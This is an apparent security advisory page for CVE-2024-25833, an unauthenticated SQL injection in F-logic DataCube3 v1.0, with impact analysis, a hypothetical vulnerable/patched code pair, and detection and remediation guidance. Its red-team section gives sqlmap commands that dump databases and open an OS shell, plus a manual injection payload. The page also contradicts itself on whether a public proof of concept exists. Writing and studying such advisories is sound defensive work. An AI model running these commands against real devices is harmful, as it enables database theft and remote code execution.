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SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-89
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-25833

CVE-2024-25833 SQL Injection in F-logic
📅 PUBLISHED: 2024-02-28 00:00 UTC 🔄 UPDATED: 2026-08-12 09:00 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.36%
👁️
0.36% probability
8.9× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: v1.0
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-25833 is a critical unauthenticated SQL injection vulnerability in F-logic DataCube3 v1.0. This flaw allows an unauthenticated remote attacker to execute arbitrary SQL queries against the underlying database, potentially leading to full data exfiltration, credential theft, and lateral movement within the network. The vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it is rated Critical (9.8). No public proof-of-concept (PoC) or exploit code has been released, and no patch is currently available. The vendor, F-logic, has not issued a security advisory or update.

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Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby ecosystems. It affects a proprietary embedded device (DataCube3) and is not part of a software supply chain package.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
  • Base Score: 9.8 (Critical)
  • Attack Vector: Network (AV:N) – exploitable remotely.
  • Attack Complexity: Low (AC:L) – no special conditions required.
  • Privileges Required: None (PR:N) – unauthenticated.
  • User Interaction: None (UI:N) – no user action needed.
  • Scope: Unchanged (S:U) – vulnerability does not affect other components.
  • Confidentiality Impact: High (C:H) – full database read access.
  • Integrity Impact: High (I:H) – ability to modify or delete data.
  • Availability Impact: High (A:H) – potential for denial of service via SQL injection.

Threat Level: Critical. Immediate action required if F-logic DataCube3 v1.0 is present in the environment.

Deep Dive & Mechanics

The vulnerability resides in the F-logic DataCube3 v1.0 web interface, likely in a parameter passed to a database query without proper sanitization or parameterization. An attacker can inject SQL commands via HTTP GET or POST requests to endpoints that interact with the backend database (e.g., MySQL, PostgreSQL, or MSSQL). The lack of authentication means any network-accessible instance is at risk.

Attack Flow:

  1. Attacker identifies a DataCube3 v1.0 device (e.g., via Shodan or internal scanning).
  2. Attacker sends a crafted HTTP request with SQL injection payload in a vulnerable parameter (e.g., id, user, search).
  3. The backend executes the malicious SQL query, returning data or performing actions.
  4. Attacker can extract database contents, escalate privileges, or execute system commands (if database user has xp_cmdshell or similar).

Potential Impact:

  • Full database dump (user credentials, configuration, logs).
  • Authentication bypass.
  • Remote code execution via xp_cmdshell or INTO OUTFILE.
  • Lateral movement to other internal systems.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the entire DataCube3 v1.0 application. The following is a hypothetical example of the vulnerable pattern:

Vulnerable (PHP/ASP example):

$id = $_GET['id'];
$query = "SELECT * FROM users WHERE id = '$id'";
$result = mysqli_query($conn, $query);

Patched (parameterized query):

$id = $_GET['id'];
$stmt = $conn->prepare("SELECT * FROM users WHERE id = ?");
$stmt->bind_param("i", $id);
$stmt->execute();
$result = $stmt->get_result();

Without vendor patch, users must implement virtual patching (WAF rules) or isolate the device.

Exploitation & Lab Setup

Red Team (Offensive)

Lab Environment:

  • Target: F-logic DataCube3 v1.0 (physical or emulated).
  • Attacker: Kali Linux with sqlmap and burpsuite.
  • Network: Both on same subnet (or target exposed to internet).

Exploitation Steps:

  1. Identify vulnerable parameter (e.g., http://target/login.php?user=admin).
  2. Use sqlmap to automate injection:
    sqlmap -u "http://target/login.php?user=admin" --batch --dbs
    
  3. If successful, enumerate tables and dump data:
    sqlmap -u "http://target/login.php?user=admin" -D datacube --tables
    sqlmap -u "http://target/login.php?user=admin" -D datacube -T users --dump
    
  4. Attempt OS shell if database user has high privileges:
    sqlmap -u "http://target/login.php?user=admin" --os-shell
    

Manual Payload Example:

GET /login.php?user=admin' OR '1'='1' -- HTTP/1.1
Host: target

Blue Team (Defensive)

Detection & Response:

  • Monitor for SQL injection patterns in web logs (e.g., ' OR, UNION SELECT, --).
  • Deploy WAF rules to block common SQLi payloads.
  • Isolate DataCube3 devices on a separate VLAN with strict egress filtering.
  • Implement network segmentation to limit lateral movement.
  • Use database activity monitoring to detect anomalous queries.

Honeypot Setup:

  • Deploy a fake DataCube3 endpoint that logs all requests and alerts on SQLi patterns.

Indicators of Compromise (IOCs)

  • Network IOCs:

    • HTTP requests containing SQL keywords (UNION, SELECT, INSERT, DROP, xp_cmdshell).
    • Repeated requests to /login.php, /api/data, or similar endpoints with unusual parameters.
    • Outbound database connections from DataCube3 to unknown IPs (data exfiltration).
  • Host IOCs:

    • Unexpected files in /tmp or web root (e.g., cmd.aspx, shell.php).
    • Database logs showing xp_cmdshell execution or INTO OUTFILE operations.
    • New user accounts or modified configuration files.
  • Log IOCs:

    • Web server logs with 400 or 500 errors from SQL injection attempts.
    • Database error logs containing SQL syntax errors.

Detection Engineering

YARA Rule

rule CVE_2024_25833_SQLi_DataCube3 {
    meta:
        description = "Detects SQL injection attempts targeting F-logic DataCube3 v1.0"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-25833"
    strings:
        $sqli1 = "UNION SELECT" nocase
        $sqli2 = "OR 1=1" nocase
        $sqli3 = "xp_cmdshell" nocase
        $sqli4 = "INTO OUTFILE" nocase
        $sqli5 = "admin' --" nocase
    condition:
        any of ($sqli*) and filesize < 10KB
}

Sigma Rule

title: SQL Injection Attempt Against F-logic DataCube3
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects SQL injection patterns in HTTP requests to DataCube3 endpoints
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-query|contains:
            - "' OR"
            - "UNION SELECT"
            - "1=1"
            - "xp_cmdshell"
            - "INTO OUTFILE"
    condition: selection
falsepositives:
    - Legitimate use of apostrophes in search queries (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-25833 SQL Injection Attempt - DataCube3"; flow:to_server,established; content:"GET"; http_method; content:"/login.php"; http_uri; content:"' OR"; http_uri; nocase; content:"UNION SELECT"; http_uri; nocase; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Isolate all F-logic DataCube3 v1.0 devices from the internet and untrusted networks.
  2. Apply virtual patching via WAF (e.g., ModSecurity rules blocking SQLi patterns).
  3. Monitor logs for exploitation attempts (use Sigma/Suricata rules above).
  4. Contact F-logic for patch status; if no response, consider replacing the device.

Long-Term:

  • Upgrade to a patched version if/when released.
  • Implement network segmentation and least-privilege database accounts.
  • Conduct regular vulnerability scans and penetration tests.

Workaround:

  • Disable unnecessary web interfaces or restrict access via firewall rules.
  • Use a reverse proxy with input validation to filter malicious requests.

Valters IT

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F-logic DataCube3
DataCube3 v1.0

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